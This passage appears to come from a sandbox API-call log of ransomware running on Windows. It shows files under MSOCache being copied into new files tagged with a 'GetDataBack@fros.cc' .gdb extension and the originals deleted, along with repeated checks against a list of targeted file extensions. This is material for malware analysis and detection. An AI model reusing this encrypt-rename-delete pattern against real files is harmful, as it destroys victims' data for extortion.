"c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0115.909] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.909] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0115.909] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0115.909] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0115.909] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0115.910] GetLastError () returned 0x0 [0115.910] ReadFile (in: hFile=0x19c, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x91975, lpOverlapped=0x0) returned 1 [0115.922] WriteFile (in: hFile=0x1a0, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x91980, lpOverlapped=0x0) returned 1 [0115.933] ReadFile (in: hFile=0x19c, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0115.933] WriteFile (in: hFile=0x1a0, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0115.933] SetEndOfFile (hFile=0x1a0) returned 1 [0115.933] CloseHandle (hObject=0x1a0) returned 1 [0115.938] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0115.938] SetEndOfFile (hFile=0x19c) returned 1 [0115.942] CloseHandle (hObject=0x19c) returned 1 [0115.943] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.943] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1 [0115.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0115.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0115.943] lstrlenW (lpString=".doc") returned 4 [0115.943] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.943] lstrlenW (lpString=".docx") returned 5 [0115.943] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0115.943] lstrlenW (lpString=".pdf") returned 4 [0115.943] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.943] lstrlenW (lpString=".xls") returned 4 [0115.943] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.943] lstrlenW (lpString=".xlsx") returned 5 [0115.943] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0115.943] lstrlenW (lpString=".ppt") returned 4 [0115.943] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0115.943] lstrlenW (lpString=".zip") returned 4 [0115.943] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.943] lstrlenW (lpString=".rar") returned 4 [0115.943] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.943] lstrlenW (lpString=".bz2") returned 4 [0115.943] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.943] lstrlenW (lpString=".7z") returned 3 [0115.943] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0115.944] lstrlenW (lpString=".dbf") returned 4 [0115.944] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0115.944] lstrlenW (lpString=".1cd") returned 4 [0115.944] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0115.944] lstrlenW (lpString=".jpg") returned 4 [0115.944] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0115.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0115.944] lstrlenW (lpString=".doc") returned 4 [0115.944] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.944] lstrlenW (lpString=".docx") returned 5 [0115.944] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0115.944] lstrlenW (lpString=".pdf") returned 4 [0115.944] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.944] lstrlenW (lpString=".xls") returned 4 [0115.944] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.944] lstrlenW (lpString=".xlsx") returned 5 [0115.944] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0115.944] lstrlenW (lpString=".ppt") returned 4 [0115.944] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0115.944] lstrlenW (lpString=".zip") returned 4 [0115.944] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.159] lstrlenW (lpString=".rar") returned 4 [0116.159] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.159] lstrlenW (lpString=".bz2") returned 4 [0116.159] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.159] lstrlenW (lpString=".7z") returned 3 [0116.159] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0116.159] lstrlenW (lpString=".dbf") returned 4 [0116.159] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0116.159] lstrlenW (lpString=".1cd") returned 4 [0116.159] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0116.159] lstrlenW (lpString=".jpg") returned 4 [0116.159] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.159] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0116.159] lstrlenW (lpString="Office32WW.xml") returned 14 [0116.159] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0116.371] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=4274) returned 1 [0116.371] CloseHandle (hObject=0x1c4) returned 1 [0116.371] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0116.371] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.371] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0116.371] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0116.371] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0116.371] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0116.372] GetLastError () returned 0x0 [0116.372] ReadFile (in: hFile=0x1c4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x10b2, lpOverlapped=0x0) returned 1 [0116.373] WriteFile (in: hFile=0x1c8, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x10c0, lpOverlapped=0x0) returned 1 [0116.374] ReadFile (in: hFile=0x1c4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0116.374] WriteFile (in: hFile=0x1c8, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xf0, lpOverlapped=0x0) returned 1 [0116.374] SetEndOfFile (hFile=0x1c8) returned 1 [0116.374] CloseHandle (hObject=0x1c8) returned 1 [0116.374] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0116.374] SetEndOfFile (hFile=0x1c4) returned 1 [0116.375] CloseHandle (hObject=0x1c4) returned 1 [0116.375] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0116.375] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0116.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.376] lstrlenW (lpString=".doc") returned 4 [0116.376] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.376] lstrlenW (lpString=".docx") returned 5 [0116.376] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0116.376] lstrlenW (lpString=".pdf") returned 4 [0116.376] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.376] lstrlenW (lpString=".xls") returned 4 [0116.376] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.376] lstrlenW (lpString=".xlsx") returned 5 [0116.376] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0116.376] lstrlenW (lpString=".ppt") returned 4 [0116.376] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.376] lstrlenW (lpString=".zip") returned 4 [0116.376] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.376] lstrlenW (lpString=".rar") returned 4 [0116.376] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.376] lstrlenW (lpString=".bz2") returned 4 [0116.376] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.376] lstrlenW (lpString=".7z") returned 3 [0116.376] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.376] lstrlenW (lpString=".dbf") returned 4 [0116.376] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.376] lstrlenW (lpString=".1cd") returned 4 [0116.376] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.376] lstrlenW (lpString=".jpg") returned 4 [0116.376] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.376] lstrlenW (lpString=".doc") returned 4 [0116.376] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.376] lstrlenW (lpString=".docx") returned 5 [0116.376] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0116.376] lstrlenW (lpString=".pdf") returned 4 [0116.376] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.377] lstrlenW (lpString=".xls") returned 4 [0116.377] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.377] lstrlenW (lpString=".xlsx") returned 5 [0116.377] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0116.377] lstrlenW (lpString=".ppt") returned 4 [0116.377] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.377] lstrlenW (lpString=".zip") returned 4 [0116.377] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.377] lstrlenW (lpString=".rar") returned 4 [0116.377] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.377] lstrlenW (lpString=".bz2") returned 4 [0116.377] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.377] lstrlenW (lpString=".7z") returned 3 [0116.377] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.377] lstrlenW (lpString=".dbf") returned 4 [0116.377] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.377] lstrlenW (lpString=".1cd") returned 4 [0116.377] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.377] lstrlenW (lpString=".jpg") returned 4 [0116.377] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.377] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0116.377] lstrlenW (lpString="Setup.xml") returned 9 [0116.377] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0116.380] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=16683) returned 1 [0116.380] CloseHandle (hObject=0x164) returned 1 [0116.380] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0116.380] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.380] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0116.380] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0116.380] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0116.380] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0116.380] GetLastError () returned 0x0 [0116.380] ReadFile (in: hFile=0x164, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x412b, lpOverlapped=0x0) returned 1 [0116.382] WriteFile (in: hFile=0x1b8, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x4130, lpOverlapped=0x0) returned 1 [0116.383] ReadFile (in: hFile=0x164, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0116.383] WriteFile (in: hFile=0x1b8, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xe6, lpOverlapped=0x0) returned 1 [0116.383] SetEndOfFile (hFile=0x1b8) returned 1 [0116.383] CloseHandle (hObject=0x1b8) returned 1 [0116.384] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0116.384] SetEndOfFile (hFile=0x164) returned 1 [0116.385] CloseHandle (hObject=0x164) returned 1 [0116.385] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0116.385] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0116.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.385] lstrlenW (lpString=".doc") returned 4 [0116.385] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.385] lstrlenW (lpString=".docx") returned 5 [0116.385] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0116.385] lstrlenW (lpString=".pdf") returned 4 [0116.386] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.386] lstrlenW (lpString=".xls") returned 4 [0116.386] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.386] lstrlenW (lpString=".xlsx") returned 5 [0116.386] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0116.386] lstrlenW (lpString=".ppt") returned 4 [0116.386] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.386] lstrlenW (lpString=".zip") returned 4 [0116.386] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.386] lstrlenW (lpString=".rar") returned 4 [0116.386] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.386] lstrlenW (lpString=".bz2") returned 4 [0116.386] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.386] lstrlenW (lpString=".7z") returned 3 [0116.386] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.386] lstrlenW (lpString=".dbf") returned 4 [0116.386] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.386] lstrlenW (lpString=".1cd") returned 4 [0116.386] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.386] lstrlenW (lpString=".jpg") returned 4 [0116.386] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.386] lstrlenW (lpString=".doc") returned 4 [0116.386] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.386] lstrlenW (lpString=".docx") returned 5 [0116.386] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0116.386] lstrlenW (lpString=".pdf") returned 4 [0116.387] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.387] lstrlenW (lpString=".xls") returned 4 [0116.387] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.387] lstrlenW (lpString=".xlsx") returned 5 [0116.387] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0116.387] lstrlenW (lpString=".ppt") returned 4 [0116.387] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.387] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.387] lstrlenW (lpString=".zip") returned 4 [0116.387] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.387] lstrlenW (lpString=".rar") returned 4 [0116.387] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.387] lstrlenW (lpString=".bz2") returned 4 [0116.387] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.387] lstrlenW (lpString=".7z") returned 3 [0116.387] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.387] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.387] lstrlenW (lpString=".dbf") returned 4 [0116.387] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.387] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.387] lstrlenW (lpString=".1cd") returned 4 [0116.387] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.387] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.387] lstrlenW (lpString=".jpg") returned 4 [0116.387] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.387] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0116.387] lstrlenW (lpString="Office32WW.xml") returned 14 [0116.387] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0116.389] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=4274) returned 1 [0116.389] CloseHandle (hObject=0x164) returned 1 